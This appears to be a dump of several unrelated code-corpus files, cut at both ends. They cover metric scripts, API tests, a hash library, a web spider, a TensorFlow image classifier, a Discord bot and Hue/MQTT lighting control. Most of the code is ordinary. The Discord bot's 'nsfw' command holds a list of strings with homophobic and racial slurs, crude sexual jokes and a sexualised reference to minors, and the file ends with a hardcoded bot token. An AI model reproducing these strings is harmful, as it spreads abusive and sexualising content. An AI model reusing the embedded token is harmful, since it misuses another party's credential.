TN, FN = perf_measure(next_day_label, pred_value)\n # output_str+=\"next day stat: \\n\"\n # output_str+= str(metrics.accuracy_score(next_day_label, pred_value))+\"\\n\"\n # output_str+=str(metrics.recall_score(next_day_label, pred_value))+\"\\n\"\n # output_str+=\"TP: \"+str(TP)+\" \"+str(FP)+\" \"+str(TN)+\" \"+str(FN)+\"\\n\"\n \n except:\n # print(\"error\")\n traceback.print_exc()\n \n output_file.write(output_str)\n # output_file.write(\"total_disk \"+ str(total_disk_number) +\"\\n\")\n # output_file.write(\"check Sum run on \"+ str(total_check_disk) +\"\\n\")\n # output_file.write(\"perct \"+ str(total_check_disk/total_disk_number) +\"\\n\")\n output_file.flush()\n del(df)\n gc.collect()\n except:\n traceback.print_exc()\n \n \n year+=1 \n","sub_path":"scripts/simulation_wih_real_distribution.py","file_name":"simulation_wih_real_distribution.py","file_ext":"py","file_size_in_byte":12897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"137902613","text":"from dk_metric import image_metrics\nimport os\nfrom multiprocessing import Process, Lock, Manager\nimport numpy as np\nimport time\nimport sys\n\n'''python3 main.py gt_folder pre_folder output_folder [optional startt endt stepsize]'''\n\ngt_folder = sys.argv[1]\nprop_folder = sys.argv[2]\noutput_csv = os.path.join(sys.argv[3], 'scores.csv')\n\nstartt, endt, stepsize = 0.05, 0.95, 0.01\nif len(sys.argv) > 4:\n startt, endt, stepsize = list(map(float, sys.argv[4:]))\n\n\nradius = 3\nThread_Cnt = 16\nfiles = os.listdir(prop_folder)\nlock = Lock()\n\nALL_thresholds = []\nALL_precision, ALL_recall, ALL_F1, ALL_Jaccard, ALL_mod_prec, ALL_mod_recall, ALL_mod_F1 = [],[],[],[],[],[],[]\nmanager = Manager()\n\ndef cal_fp_tp(files, l, threshold):\n # sTP, sFP, sFN, msTP, msFP, msFN\n start_time = time.time()\n sTP, sFP, sFN, msTP, msFP, msFN = 0, 0, 0, 0, 0, 0\n for i, f in enumerate(files):\n gt_path = os.path.join(gt_folder, f.replace('_row', '_label'))\n prop_path = os.path.join(prop_folder, f)\n # gt_path = os.path.join(gt_folder, f)\n # prop_path = os.path.join(prop_folder, f)\n if i != 0 and i % 200 == 0:\n print(os.getpid(), i, 'th file... use', time.time() - start_time, 'seconds.')\n\n TP, FP, FN = image_metrics.get_TP_FP_FN(gt_path, prop_path, threshold=threshold)\n mTP, mFP, mFN = image_metrics.get_mod_TP_FP_FN(gt_path, prop_path, radius=radius, threshold=threshold)\n sTP += TP\n sFP += FP\n sFN += FN\n msTP += mTP\n msFP += mFP\n msFN += mFN\n with lock:\n l[0] += sTP\n l[1] += sFP\n l[2] += sFN\n l[3] += msTP\n l[4] += msFP\n l[5] += msFN\n\n\nthresholds = np.arange(startt, endt, stepsize).tolist()\nfor threshold in thresholds:\n ALL_thresholds.append(threshold)\n print('-------------', threshold, '-------------')\n threshold *= 255\n l = manager.list([0, 0, 0, 0, 0, 0])\n\n pool = []\n files_threads = np.array_split(files, Thread_Cnt)\n\n for i in range(Thread_Cnt):\n pool.append(Process(target=cal_fp_tp, args=(files_threads[i].tolist(), l, threshold,)))\n for t in pool:\n t.start()\n for t in pool:\n t.join()\n\n sTP, sFP, sFN, msTP, msFP, msFN = list(l)\n Precision = sTP / (sTP + sFP) if (sTP + sFP != 0) else 1\n Recall = sTP / (sTP + sFN) if(sTP + sFN != 0) else 1\n\n Jaccard = 1 / (1/Precision + 1/Recall - 1) if (Precision > 0 and Recall > 0) else 0\n F1 = 2 * Precision * Recall / (Precision + Recall) if (Precision > 0 and Recall > 0) else 0\n \n ALL_precision.append(Precision)\n ALL_recall.append(Recall)\n ALL_Jaccard.append(Jaccard)\n ALL_F1.append(F1)\n\n mPrecision = msTP / (msTP + msFP) if (msTP + msFP != 0) else 1\n mRecall = msTP / (msTP + msFN) if(msTP + msFN != 0) else 1\n mF1 = 2 * mPrecision * mRecall / (mPrecision + mRecall) if (mPrecision > 0 and mRecall > 0) else 0\n\n ALL_mod_prec.append(mPrecision)\n ALL_mod_recall.append(mRecall)\n ALL_mod_F1.append(mF1)\n \n\nwith open(output_csv, 'w') as output:\n data_thre = 'Threshold,' + ','.join(['{:.6f}'.format(v) for v in ALL_thresholds])\n data_pre = 'Precision,' + ','.join(['{:.6f}'.format(v) for v in ALL_precision])\n data_rec = 'Recall,' + ','.join(['{:.6f}'.format(v) for v in ALL_recall])\n data_jac = 'Jaccard,' + ','.join(['{:.6f}'.format(v) for v in ALL_Jaccard])\n data_f1 = 'F1,' + ','.join(['{:.6f}'.format(v) for v in ALL_F1])\n data_mpre = 'Mod_Prec,' + ','.join(['{:.6f}'.format(v) for v in ALL_mod_prec])\n data_mrec = 'Mod_Rec,' + ','.join(['{:.6f}'.format(v) for v in ALL_mod_recall]) \n data_mf1 = 'Mod_F1,' + ','.join(['{:.6f}'.format(v) for v in ALL_mod_F1])\n output.write('\\n'.join([data_thre, data_pre, data_rec, data_jac, data_f1, data_mpre, data_mrec, data_mf1])) \n\n","sub_path":"ComputeScore/main_180405.py","file_name":"main_180405.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"183270871","text":"#! /usr/bin/env python\nfrom pandas import concat\nimport re\nimport sys, os\nfrom poplerGUI.logiclayer.datalayer import config as orm\nfrom poplerGUI.logiclayer import class_userfacade as face\nfrom poplerGUI.logiclayer import class_timeparse as tparse\nfrom poplerGUI.logiclayer.class_helpers import produce_null_df\nfrom poplerGUI.logiclayer import class_dictionarydataframe as ddf\n\ndef test_site_in_project_key(\n MergeToUpload, site_handle_corner_case, file_handle_corner_case,\n meta_handle_corner_case, project_handle_corner_case, taxa_handle_corner_case,\n time_handle_corner_case, count_handle_corner_case, covar_handle_corner_case):\n facade = face.Facade()\n\n facade.input_register(meta_handle_corner_case)\n facade.meta_verify()\n\n facade.input_register(file_handle_corner_case)\n facade.load_data()\n facade._data.replace({'-888': 'NA'}, inplace=True)\n\n \n facade.input_register(site_handle_corner_case)\n sitedirector = facade.make_table('siteinfo')\n study_site_table = sitedirector._availdf\n\n print('study_site_table (test): ', study_site_table)\n facade.create_log_record('study_site_table')\n lter = meta_handle_corner_case.lnedentry['lter']\n ltercol = produce_null_df(1, [\n 'lter_table_fkey'], len(study_site_table), lter)\n study_site_table = concat([study_site_table, ltercol], axis=1)\n print('study_site_table: ', study_site_table)\n facade.push_tables['study_site_table'] = study_site_table\n \n siteid = site_handle_corner_case.lnedentry['study_site_key']\n sitelevels = facade._data[\n siteid].drop_duplicates().values.tolist()\n facade.register_site_levels(sitelevels)\n facade._valueregister['siteid'] = siteid\n\n facade.input_register(project_handle_corner_case)\n maindirector = facade.make_table('maininfo')\n project_table = maindirector._availdf.copy().reset_index(drop=True)\n orm.convert_types(project_table, orm.project_types)\n \n facade.push_tables['project_table'] = project_table\n facade.create_log_record('project_table')\n \n facade.input_register(taxa_handle_corner_case)\n taxadirector = facade.make_table('taxainfo')\n taxa_table = taxadirector._availdf\n facade.push_tables['taxa_table'] = taxa_table\n facade.create_log_record('taxa_table')\n \n facade.input_register(time_handle_corner_case)\n timetable = tparse.TimeParse(\n facade._data, time_handle_corner_case.lnedentry).formater()\n facade.push_tables['timetable'] = timetable\n facade.create_log_record('timetable')\n\n facade.input_register(count_handle_corner_case)\n rawdirector = facade.make_table('rawinfo')\n rawtable = rawdirector._availdf\n print(rawtable)\n facade.push_tables[count_handle_corner_case.tablename] = rawtable\n facade.create_log_record(count_handle_corner_case.tablename)\n\n facade.input_register(covar_handle_corner_case)\n covartable = ddf.DictionaryDataframe(\n facade._data,\n covar_handle_corner_case.lnedentry['columns']).convert_records()\n facade.push_tables['covariates'] = covartable\n facade.create_log_record('covartable')\n\n facade._valueregister['globalid'] = meta_handle_corner_case.lnedentry['globalid']\n facade._valueregister['lter'] = meta_handle_corner_case.lnedentry['lter']\n facade._valueregister['siteid'] = siteid\n\n timetable_og_cols = timetable.columns.values.tolist()\n timetable.columns = [x+'_derived' for x in timetable_og_cols]\n observationdf = facade._data\n observation_time_df = concat([timetable,observationdf], axis=1 )\n \n print('merge class obs_time columns: ', observation_time_df.columns)\n print('merge class project table: ', project_table)\n\n try:\n study_site_table.to_sql(\n 'study_site_table',\n orm.conn, if_exists='append', index=False)\n except Exception as e:\n print(str(e))\n\n project_table['lter_project_fkey'] = facade._valueregister['lter']\n project_table.to_sql(\n 'project_table', orm.conn,\n if_exists='append', index=False\n )\n\n merge_object = MergeToUpload()\n site_in_project_key_df = merge_object.site_in_proj_key_df(\n studysitetabledf=study_site_table,\n projecttabledf=project_table,\n observationtabledf=observation_time_df,\n lterlocation= facade._valueregister['lter'],\n studysitelabel=siteid,\n studysitelevels=sitelevels\n )\n\n merge_object.merge_for_taxa_table_upload(\n formated_taxa_table=taxa_table,\n siteinprojkeydf=site_in_project_key_df,\n sitelabel=siteid\n )\n\n taxa_column_in_data = [\n x[1] for x in \n list(facade._inputs['taxainfo'].lnedentry.items())\n ]\n\n taxa_column_in_push_table = [\n x[0] for x in \n list(facade._inputs['taxainfo'].lnedentry.items())\n ]\n\n merge_object.merge_for_datatype_table_upload(\n raw_dataframe=observation_time_df,\n formated_dataframe=rawtable,\n formated_dataframe_name=\n '{}'.format(\n re.sub('_table', '', facade._inputs['rawinfo'].tablename)),\n covariate_dataframe = covartable,\n siteinprojkeydf=site_in_project_key_df,\n raw_data_taxa_columns=taxa_column_in_data,\n uploaded_taxa_columns=taxa_column_in_push_table\n )\n obs_columns_in_data = [\n x[1] for x in \n list(facade._inputs['rawinfo'].lnedentry.items())\n ]\n obs_columns_in_push_table = [\n x[0] for x in \n list(facade._inputs['rawinfo'].lnedentry.items())\n ]\n merge_object.update_project_table(\n spatial_rep_columns_from_og_df=obs_columns_in_data,\n spatial_rep_columns_from_formated_df=obs_columns_in_push_table\n )\n\n","sub_path":"test/logiclayer/test_mergedtoupload_count.py","file_name":"test_mergedtoupload_count.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"224160472","text":"# -*- coding: utf-8 -*-\nimport allure\nimport pytest\nfrom bin.unit import Request, Assert, Log\nfrom flow.Getjson import get_data\n\n\n# class test_single(object):\n# def setup_class(self):\n# # 做登录，初始化数据等\n# print('test start')\n# pass\n#\n# def teardown_class(self):\n# # 做清数据，退出登录等\n# print('test end')\n# pass\n\n\n@pytest.mark.parametrize(\"url,method,body\", get_data())\n@allure.epic('CDN客户控制台接口测试')\n@allure.feature('单一接口测试')\ndef test_one(url, method, body):\n # file_list = walkfile('/testcases')\n allure.testcase(url)\n request = Request.Request()\n asset = Assert.Assert()\n # log = Log.Log()\n if method == 'POST':\n response = request.post_request(url, body)\n allure.step('接口返回：' + str(response))\n assert response['code'] == '200'\n assert response['time_total'] < 3000\n asset.common_assert(response)\n # assert 1\n elif method == 'GET':\n response = request.get_request(url, body)\n allure.step('接口返回：' + str(response))\n assert response['code'] == '200'\n assert response['time_total'] < 3000\n # assert 1\n else:\n print('Method is unvalide')\n # log.info('Method is unvalide')\n allure.step('接口返回：' + 'Method is unvalide')\n # assert 1\n\n\ndef test_two():\n assert 1\n# if __name__ == '__main__':\n# aa = test_single.get_data()\n","sub_path":"autoTest/flow/test_flow.py","file_name":"test_flow.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"109015087","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os, sys, hashlib, base64, zlib\nfrom ctypes import cast, memmove, POINTER, c_void_p\nfrom .structs import EVPobject\n\nopaque_repr = False\n\nclass ResumableHasher(object):\n name = None\n _algorithms_guaranteed = getattr(hashlib,\n \"algorithms_guaranteed\",\n [\"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\", \"sha512\"])\n\n def __init__(self, name=None, data=None, state=None):\n if state is not None:\n if not self.name:\n raise Exception('Parameter \"name\" is required')\n self.__setstate__(state=dict(name=name, md_data=zlib.decompress(base64.b64decode(state))))\n if data is not None:\n self.update(data)\n return\n if self.name is not None:\n data = name\n else:\n self.name = name\n if not self.name:\n raise Exception('Parameter \"name\" is required')\n hasher_args = [] if data is None else [data]\n self._hasher = self._get_hashlib_hasher(self.name)(*hasher_args)\n\n def _get_hashlib_hasher(self, name):\n if name.startswith(\"blake2\"):\n raise Exception(\"blake2 algorithms are not OpenSSL-based and not supported by rehash\")\n if name.startswith(\"sha3\"):\n raise Exception(\"sha3 algorithms are not supported by rehash\")\n if name.startswith(\"shake\"):\n raise Exception(\"shake algorithms are not supported by rehash\")\n if name in self._algorithms_guaranteed:\n return getattr(hashlib, name)\n else:\n return hashlib.new(name)\n\n def _get_evp_md_ctx(self):\n c_evp_obj = cast(c_void_p(id(self._hasher)), POINTER(EVPobject))\n if hasattr(c_evp_obj.contents.ctx, \"contents\"):\n return c_evp_obj.contents.ctx.contents\n else:\n return c_evp_obj.contents.ctx\n\n def __getstate__(self):\n ctx = self._get_evp_md_ctx()\n ctx_size = ctx.digest.contents.ctx_size\n hasher_state = ctx.md_data[:ctx_size]\n return dict(name=self.name, md_data=hasher_state)\n\n def __setstate__(self, state):\n self.name = state[\"name\"]\n self._hasher = self._get_hashlib_hasher(self.name)()\n ctx = self._get_evp_md_ctx()\n ctx_size = ctx.digest.contents.ctx_size\n memmove(ctx.md_data, state[\"md_data\"], ctx_size)\n\n def __getattr__(self, a):\n return getattr(self._hasher, a)\n\n def __repr__(self):\n if opaque_repr:\n return \"{}.{}()\".format(self.__module__, self.__class__.__name__)\n else:\n md_data = base64.b64encode(zlib.compress(self.__getstate__()[\"md_data\"])).decode()\n return \"{}.{}(state='{}')\".format(self.__module__, self.name, md_data)\n\n\nnew = ResumableHasher\n\ndef _initialize():\n module = sys.modules[__name__]\n for name in ResumableHasher._algorithms_guaranteed:\n if name.startswith(\"blake2\") or name.startswith(\"sha3\") or name.startswith(\"shake\"):\n continue\n setattr(module, name, type(name, (ResumableHasher,), dict(name=name)))\n\n\n_initialize()\n","sub_path":"rehash/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"167805391","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom spider import redis\nfrom spider import settings\nimport os\nimport re\nimport time\nfrom spider.items import ZonghengChapterDetail\n\n\nclass DetailspiderSpider(scrapy.Spider):\n name = \"detailspider\"\n allowed_domains = [\"zongheng.com\"]\n\n # start_urls = ['http://zongheng.com/']\n\n def __init__(self, name=None, **kwargs):\n super().__init__(name, **kwargs)\n links = redis.redisConnect.smembers(settings.CHAPTER_SET)\n if len(links) > 0:\n for link in links:\n self.start_urls.append(str(link, encoding='utf8'))\n\n def parse(self, response):\n url = response.url\n find = re.findall('\\d+', url)\n absPath = os.path.abspath('.') + '/book'\n bookDir = absPath + '/zh/' + str(find[0])\n bookChapterPath = absPath + '/zh/' + str(find[0]) + '/' + str(find[1]) + '.txt'\n bookChapterRelativePath = '/zh/' + str(find[0]) + '/' + str(find[1]) + '.txt'\n if not os.path.exists(bookDir):\n os.makedirs(bookDir)\n content = response.xpath(\"//div[@id='chapterContent']/p/text()\").extract()\n textNumber = response.xpath('//*[@id=\"uiContentPanel\"]/div[7]/span/em[2]/span/text()').extract()[0]\n textNumber = int(textNumber)\n updateTime = response.xpath('//*[@id=\"uiContentPanel\"]/div[7]/span/em[1]/span/text()').extract()[0]\n updateTime = time.mktime(time.strptime(updateTime, '%Y-%m-%d %H:%M:%S'))\n if len(content) > 0:\n f = open(bookChapterPath, 'a')\n f.write('')\n for text in content:\n f.write(text.strip() + '\\n')\n f.close()\n item = ZonghengChapterDetail()\n item['chapterPath'] = bookChapterRelativePath\n item['chapterTextNumber'] = textNumber\n item['updateAt'] = updateTime\n item['chapterHref'] = url\n yield item\n","sub_path":"spider/spiders/detailspider.py","file_name":"detailspider.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"316975758","text":"def bag_of_words(text):\n bow=dict()\n for w in text.split(' '):\n if w in bow.keys():\n bow[w]+=1\n else:\n bow[w]=1\n return bow\n\ntest_text = 'the quick brown fox jumps over the lazy dog'\n\nprint(bag_of_words(test_text))","sub_path":"intro-to-tflearn/bow.py","file_name":"bow.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"13536498","text":"# ======================================================================\n# There are 5 questions in this exam with increasing difficulty from 1-5.\n# Please note that the weight of the grade for the question is relative\n# to its difficulty. So your Category 1 question will score significantly\n# less than your Category 5 question.\n#\n# Don't use lambda layers in your model.\n# You do not need them to solve the question.\n# Lambda layers are not supported by the grading infrastructure.\n#\n# You must use the Submit and Test button to submit your model\n# at least once in this category before you finally submit your exam,\n# otherwise you will score zero for this category.\n# ======================================================================\n#\n# Computer Vision with CNNs\n#\n# Build a classifier for Rock-Paper-Scissors based on the rock_paper_scissors\n# TensorFlow dataset.\n#\n# IMPORTANT: Your final layer should be as shown. Do not change the\n# provided code, or the tests may fail\n#\n# IMPORTANT: Images will be tested as 150x150 with 3 bytes of color depth\n# So ensure that your input layer is designed accordingly, or the tests\n# may fail. \n#\n# NOTE THAT THIS IS UNLABELLED DATA. \n# You can use the ImageDataGenerator to automatically label it\n# and we have provided some starter code.\n\n\nimport urllib.request\nimport zipfile\nimport tensorflow as tf\nfrom keras_preprocessing.image import ImageDataGenerator\nimport tensorflow\n\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, \\\n Dense,Activation, BatchNormalization\nfrom keras.utils import to_categorical\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau\nfrom keras.optimizers import Adam\n\nfrom sklearn.model_selection import train_test_split\n\nes=EarlyStopping(\n patience=10,\n verbose=1,\n monitor='val_loss'\n)\n\nrl=ReduceLROnPlateau(\n patience=5,\n verbose=1,\n factor=0.5,\n monitor='val_loss'\n)\n\ndef solution_model():\n url = 'https://storage.googleapis.com/download.tensorflow.org/data/rps.zip'\n urllib.request.urlretrieve(url, 'rps.zip')\n local_zip = 'rps.zip'\n zip_ref = zipfile.ZipFile(local_zip, 'r')\n zip_ref.extractall('tmp/')\n zip_ref.close()\n\n TRAINING_DIR = \"tmp/rps/\"\n training_datagen = ImageDataGenerator(\n width_shift_range=0.1,\n height_shift_range=0.1,\n zoom_range=0.1,\n horizontal_flip=True,\n vertical_flip=True,\n rescale=1./255,\n validation_split=0.2\n )\n\n validation_datagen=ImageDataGenerator(\n rescale=1./255,\n validation_split=0.2\n )\n # YOUR CODE HERE\n\n train_generator=training_datagen.flow_from_directory(\n 'tmp/rps/',\n subset='training',\n batch_size=32,\n target_size=(150, 150),\n ) # YOUR CODE HERE\n\n val_generator=validation_datagen.flow_from_directory(\n 'tmp/rps/',\n subset='validation',\n batch_size=32,\n target_size=(150, 150)\n )\n\n model = tf.keras.models.Sequential([\n tf.keras.layers.Conv2D(128, 2, padding='same', input_shape=(150, 150, 3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Activation('relu'),\n tf.keras.layers.Conv2D(128, 2, padding='same'),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Activation('relu'),\n tf.keras.layers.Conv2D(128, 3),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Activation('relu'),\n tf.keras.layers.MaxPooling2D(),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dense(64, activation='relu'),\n # YOUR CODE HERE, BUT END WITH A 3 Neuron Dense, activated by softmax\n tf.keras.layers.Dense(3, activation='softmax')\n ])\n\n model.compile(\n loss='categorical_crossentropy',\n optimizer=Adam(\n learning_rate=0.001\n ),\n metrics='acc'\n )\n\n model.fit(\n train_generator,\n validation_data=val_generator,\n epochs=300,\n batch_size=32,\n callbacks=[es, rl]\n )\n\n loss=model.evaluate(\n val_generator\n )\n\n print('loss : ', loss[0])\n print('acc : ', loss[1])\n\n return model\n\n\n# Note that you'll need to save your model as a .h5 like this.\n# When you press the Submit and Test button, your saved .h5 model will\n# be sent to the testing infrastructure for scoring\n# and the score will be returned to you.\nif __name__ == '__main__':\n model = solution_model()\n model.save(\"mymodel3.h5\")\n","sub_path":"AI/Study_self/tf_certificate/Category3/starter3_answer.py","file_name":"starter3_answer.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"480890441","text":"import discord\r\nfrom discord.ext import commands\r\nimport sys\r\nimport discord\r\nimport time\r\nimport sys\r\nimport os\r\nimport random\r\nimport subprocess\r\nimport traceback\r\nfrom discord import errors\r\nimport json\r\nimport random\r\nbot = commands.Bot(command_prefix=\"ik\", description=\"Discripto\")\r\ntry:\r\n\tbot.load_extension(\"REPL\")\r\nexcept:\r\n\tprint(\"Hmm\")\r\n###NSFW ALERT\r\na= [\"i fuck my teddy bear and cum in it\",\r\n\"reaxt im going to shove a football down your nosetril\",\r\n\"hows it hangin? from a string probably\",\"*ping* while u were slurping pussy from a bendy straw i studied the blade\",\r\n\"i was in a good mood laughing at stupid as fuck deaths then 11 year old cancer child's last moments happend\",\"why does it look like electricity is coming out of their dick\",\"horsecock tho :heart:\",\"*ping* THAT DOES IT FAGGOT! IM NOT A FURRY OR CLOSET FURRY! SHUT THE FUCK UP! EAT ASS AND DIE!\",\"Hey faggots you can buy yourself dragon dildos 40% off tomorrow\",\r\n\"Oh no I need my underage boobies !!!\",\r\n\"Paul Blart: Mall Cop is my favorite movie\",\r\n\"Does anyone here know how to download club penguin?\",\r\n\"shes gonna find your dirty mageziens\",\"bedroom? if you insist. i mean you are pretty cute. he took my hand, i blush deeply. as we walk to the bedroom. i pull out my bad dick. wow i thought you were a lady. well, whatever works!! narrator it didnt work. its ok my surgeon is the best my surgeon did a good job on me. i was once a dog. conveniently, he identifies as a dogkin. wow thats quite a surprise you know what else is surprising? he had a 13 inch dog penis it was red and everything, but like as a joke anyways i fucked it. my parents are really proud of him for that massive honk they were also happy with my ability to take such a massive dog... to think i was gay before( now im mega gay!)\",\r\n\" named the image of the citadel nigger.jpg\",\"```make a website like real people``` this server is to use the bots, you cant do that on websites\",\r\n\"im wating the security cams in a chinese nursing home lobby\",\"node.js more like nude.js\",\"If Im going to blow a man, Id like to have his dick wrapped in a hot dog bun\",\r\n\"should be called baka\",\r\n\"ASIANBOI\",\r\n\"if ma girl ever cheats on me ill stick her to a chair and make her watch me have sex with the guy who cheated on me with\",\r\n\"Your midget spunnerr spun for 3 minutes 12 seconds. Congratulations, you now have asshole cancer\",\r\n\"Pls stop i have miniophobia\"]\r\n###NFSW END\r\n@bot.command()\r\nasync def nsfw(ctx):\r\n \"\"\"Its NSFW ;-)\"\"\"\r\n await ctx.send(random.choice(a))\r\n###NSFW END\r\n\r\n@bot.command()\r\nasync def yeet(ctx):\r\n \"\"\"Sends a simple Hello Message\"\"\"\r\n await ctx.send(\"Sup!!\")\r\n@bot.command()\r\nasync def mime(ctx, *, something):\r\n await ctx.send(something)\r\n#bot.remove_command('help')\r\n#@bot.command()\r\n#async def help(ctx):\r\n\t#await ctx.send(\"Figure it out Yourself!\")\r\n@bot.command()\r\nasync def cult(ctx, member: discord.User):\r\n await member.send(\"Wanna Join the Illuminati?\")\r\n@bot.command()\r\nasync def shout(ctx):\r\n\tawait ctx.send(ctx.author.mention)\r\n@bot.command()\r\nasync def mention(ctx):\r\n await ctx.author.send(ctx.author.mention)\r\n@bot.event\r\nasync def on_member_join(member):\r\n guild = member.guild\r\n await member.send(\"Welcome to {}!\".format(guild.name))\r\n\r\n@bot.command()\r\nasync def add(ctx,a,b):\r\n\tc=int(a)+int(b)\r\n\tawait ctx.send(c)\r\n\r\n@bot.event\r\nasync def on_command_error(ctx, exception):\r\n\tif type(exception) is commands.errors.CommandNotFound:\r\n\t\tawait ctx.send(\"Cant do that mate\")\r\n\tif type(exception) is commands.errors.MissingRequiredArgument:\r\n\t\tawait ctx.send(\"You are missing Arguments there buddy!\")\r\ndef check(ctx):\r\n return ctx.message.author.id == 199129403458977792\r\n\r\n@bot.command()\r\n@commands.check(check)\r\nasync def owner(ctx):\r\n await ctx.send('Thanks for making me!')\r\n\r\n@bot.command()\r\n@commands.has_any_role('Sigurd', 'Jacques', 'DR', 'beebee', 'chokkers delight', 'Alexa', 'Lava', 'Norway', 'jacob', 'couch', 'Brutally', 'Hunt', 'Cops', 'bob', 'DJ V/SA', 'Alena', 'new role', 'Shrew', 'Tequila', 'Xam', 'Karlie', 'Monday Meme', 'musik', 'Usagirl', 'Batman', 'Random', 'Octavia', 'Pikachu', 'Jacq', 'Perolina', 'soul', 'Riddle Honor', 'Mallu', 'Bots', 'Dark Kun', 'Labeeb', 'Pain', 'Pop', 'DJ','Members')\r\nasync def cool(ctx):\r\n await ctx.send('You are cool indeed')\r\n@bot.command()\r\nasync def embed(ctx,title,text):\r\n\tawait ctx.send(embed=discord.Embed(title=title,description=text,colour=discord.Colour(0xFF000)))\r\n\r\nemo=\":regional_indicator_\"\r\nji=\":\" \r\ncat=\"\"\r\n@bot.command()\r\nasync def emote(ctx,word):\r\n\tcat=\"\"\r\n\tfor i in word:\r\n\t\ti=emo+i+ji\r\n\t\tcat=cat+i\r\n\tawait ctx.send(cat)\r\n\t\r\nbot.run(\"NDM0MDE5OTc4Nzg2ODk3OTMw.DbJaAg.ZMYTYDeGStoTJwsBpLBa8LD8cow\") \r\n\r\n\r\n\r\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"273624651","text":"#https://github.com/studioimaginaire/phue\n\n\n#https://pypi.python.org/pypi/paho-mqtt/1.1\nimport paho.mqtt.client as mqtt\nimport json\nfrom phue import Bridge\n#just to get host name\nimport socket \nfrom time import sleep\nimport time\nfrom math import ceil\nimport logging as log\nimport sys,os\nimport cfg\nfrom mqtt import mqtt_start\nimport threading\nimport time\n\ndef debounce(in_time):\n current_time = time.time()\n delta = current_time - in_time\n return (delta > 2),current_time\n\ndebounce_1_prev = 0\ndef debounce_1():\n global debounce_1_prev\n res,debounce_1_prev = debounce(debounce_1_prev)\n return res\n\ndebounce_2_prev = 0\ndef debounce_2():\n global debounce_2_prev\n res,debounce_2_prev = debounce(debounce_2_prev)\n return res\n\ndebounce_3_prev = 0\ndef debounce_3():\n global debounce_3_prev\n res,debounce_3_prev = debounce(debounce_3_prev)\n return res\n\ndef bed_light_button(payload):\n if(debounce_1()):\n log.debug(\"bed_light_button> taken\")\n sensor = json.loads(payload)\n if(\"click\" in sensor and sensor[\"click\"] == \"single\"):\n if(lights[\"Bed Malm\"].on):\n lights[\"Bed N\"].on = False\n lights[\"Bed Malm\"].on = False\n lights[\"Bed W\"].on = False\n log.debug(\"bed_light_button> set light off\")\n else:\n #switch on and brightness command together so that it does not go to previous level before adjusting the brightness\n b.set_light(\"Bed Malm\", {'on' : True, 'bri' : 254})\n b.set_light(\"Bed N\", {'on' : True, 'bri' : 254})\n b.set_light(\"Bed W\", {'on' : True, 'bri' : 254})\n log.debug(\"bed_light_button> set light to MAX\")\n elif(\"action\" in sensor and sensor[\"action\"] == \"hold\"):\n b.set_light(\"Bed Malm\", {'on' : True, 'bri' : 1})\n lights[\"Bed N\"].on = False\n lights[\"Bed W\"].on = False\n log.debug(\"bed_light_button> set light to min\")\n #else:\n #log.debug(\"bed_light_button> debounced\")\n return\n\ndef bathroom_shelly_light(cmd):\n topic = \"shellies/shellyswitch25-B8A4EE/relay/0/command\"\n clientMQTT.publish(topic,cmd)\n log.debug(f\"set_light_relay> to {cmd}\")\n return\n\ndef bathroom_light_hue():\n #switch on and brightness command together so that it does not go to previous level before adjusting the brightness\n b.set_light(\"Bathroom main\", {'on' : True, 'bri' : 1})\n b.set_light(\"Bathroom main\", {'on' : True, 'bri' : 1})\n log.debug(\"bathroom_light_hue> set light to min\")\n return\n\ndef bathroom_light_button(payload):\n if(debounce_2()):\n log.debug(\"bathroom light> taken\")\n sensor = json.loads(payload)\n if(\"click\" in sensor and sensor[\"click\"] == \"single\"):\n #state = b.get_light(\"Bathroom main\")\n #if(not state[\"state\"][\"reachable\"]):\n bathroom_shelly_light(\"on\")\n threading.Timer(1, bathroom_light_hue).start()\n #else:\n # if(lights[\"Bathroom main\"].on):\n # lights[\"Bathroom main\"].on = False\n # log.debug(\"bathroom light> set light off\")\n # else:\n # b.set_light(\"Bathroom main\", {'on' : True, 'bri' : 1})\n # log.debug(\"bathroom_light_button> set light to min\")\n elif(\"action\" in sensor and sensor[\"action\"] == \"hold\"):\n b.set_light(\"Bathroom main\", {'on' : True, 'bri' : 1})\n log.debug(\"bathroom light> set light to min\")\n return\n\ndef livroom_light_button(payload):\n if(debounce_3()):\n log.debug(\"living room light> taken\")\n sensor = json.loads(payload)\n if(\"click\" in sensor and sensor[\"click\"] == \"single\"):\n if(lights[\"LivingTop5\"].on):\n lights[\"LivingTop1\"].on = False\n lights[\"LivingTop2\"].on = False\n lights[\"LivingTop3\"].on = False\n lights[\"LivingTop4\"].on = False\n lights[\"LivingTop5\"].on = False\n log.debug(\"living room light> set light off\")\n else:\n #switch on and brightness command together so that it does not go to previous level before adjusting the brightness\n b.set_light(\"LivingTop1\", {'on' : True, 'bri' : 254})\n b.set_light(\"LivingTop2\", {'on' : 